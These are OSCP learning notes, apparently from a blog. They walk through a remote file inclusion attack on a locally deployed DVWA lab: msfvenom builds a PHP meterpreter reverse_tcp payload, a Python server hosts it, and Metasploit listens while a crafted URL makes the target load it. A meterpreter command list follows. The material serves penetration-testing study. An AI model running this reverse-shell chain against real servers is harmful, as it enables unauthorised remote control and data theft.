OSCP Learning Notes - WebApp Exploitation(5)

Remote File Inclusion[RFI]

Prepare:

Download the DVWA from the following website and deploy it on your server.

http://www.dvwa.co.uk/

Install XAMPP and DVWA:

1. Install XAMPP on Windows server. And change the Apache http port to 82 and ssl port to 4433.

2.Unzip the DVWA files to C:\xampp\htdocs.

3. Modify some configurations and browse the the DVWA website. The click the "Create/Reset Database" buttion.

4. Login the DVWA using admin/passsord.

5.Set the DVWA Security to Low and submit.

6. Go the File Inclusion page.

7. On Kali Linux, down load the file php-reverse-shell.php from the following website. And copy the file to /var/www/html.

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

8.Change the ip and port and save it.

9.On the folder /var/www/html, create the exploit.php using the following commands.

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.109 LPORT= >> expoit.php

10. Start the http server in the folder /var/www/html on Kali Linux.

python3 -m http.server 

11. Start the metasploit tool , then set the LHOST, LPORT and payload moudle. Expolit  finanlly.

msfconsole

set LHOST 10.0.0.109

set LPORT 

set payload php/meterpreter/reverse_tcp

exploit

12.Browse the following url throuth Firefox.

http://10.0.0.212:/dvwa/vulnerabilities/fi/?page=http://10.0.0.109/exploit.php

Exploit the target server sucessfully.

13. Perform shell command to find usefull information.

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel

Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    portfwd       Forward a local port to a remote service

Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS

Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play an audio file on target system, nothing written on disk